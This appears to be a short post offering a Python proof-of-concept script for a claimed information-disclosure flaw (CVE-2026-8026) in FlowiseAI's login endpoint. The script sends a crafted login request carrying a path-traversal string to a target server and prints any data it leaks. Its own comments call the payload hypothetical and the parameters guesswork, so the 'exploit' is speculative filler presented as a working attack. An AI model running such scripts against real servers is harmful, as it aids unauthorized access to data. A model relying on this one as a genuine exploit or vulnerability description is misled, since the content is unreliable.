CVE-2026-8026 FlowiseAI信息泄露漏洞

import requests # PoC for CVE-2026-8026: Information Disclosure in FlowiseAI # Target: FlowiseAI <= 3.0.12 # Description: Sending a crafted request to the login endpoint may trigger information disclosure. target_url = "http://target-ip:3000/api/v1/login" # Example payload structure to trigger the flaw in account.service.ts # The specific parameters depend on the exact implementation of the Login function. payload = { "username": "test", "password": "test", "manipulation_param": "../../../sensitive/data" # Hypothetical path traversal or malformed input } try: response = requests.post(target_url, json=payload, timeout=10) if response.status_code == 200: # Check if sensitive data is leaked in the response body if "sensitive" in response.text or "error" in response.text: print("[+] Potential Information Disclosure Detected!") print("Response Headers:", response.headers) print("Response Body:", response.text) else: print("[-] No obvious leakage detected in this attempt.") else: print(f"Server returned status code: {response.status_code}") except Exception as e: print(f"Error connecting to target: {e}")